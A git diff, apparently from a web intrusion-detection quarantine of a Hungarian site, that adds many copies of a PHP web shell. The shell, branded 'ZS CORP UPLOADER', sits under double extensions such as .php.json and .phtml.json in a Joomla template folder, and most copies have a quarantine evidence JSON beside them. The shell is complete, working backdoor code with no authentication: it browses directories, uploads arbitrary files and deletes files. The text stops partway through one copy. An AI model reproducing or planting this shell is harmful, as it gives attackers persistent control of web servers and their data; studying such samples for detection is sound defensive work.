b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json new file mode 100644 index 0000000..41c90db --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2977", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924416, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json new file mode 100644 index 0000000..05a43e8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2980", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924415, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json new file mode 100644 index 0000000..e4ebc87 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2973", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924404, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json new file mode 100644 index 0000000..37203ba --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2986", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924413, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json new file mode 100644 index 0000000..a722033 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2965", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924413, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json new file mode 100644 index 0000000..6da0ac2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2985", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924414, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json new file mode 100644 index 0000000..b824657 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2976", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924415, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json new file mode 100644 index 0000000..953c63f --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2981", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924408, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json new file mode 100644 index 0000000..ed29772 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2990", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zseqn0yx.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924407, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zseqn0yx.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zseqn0yx.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
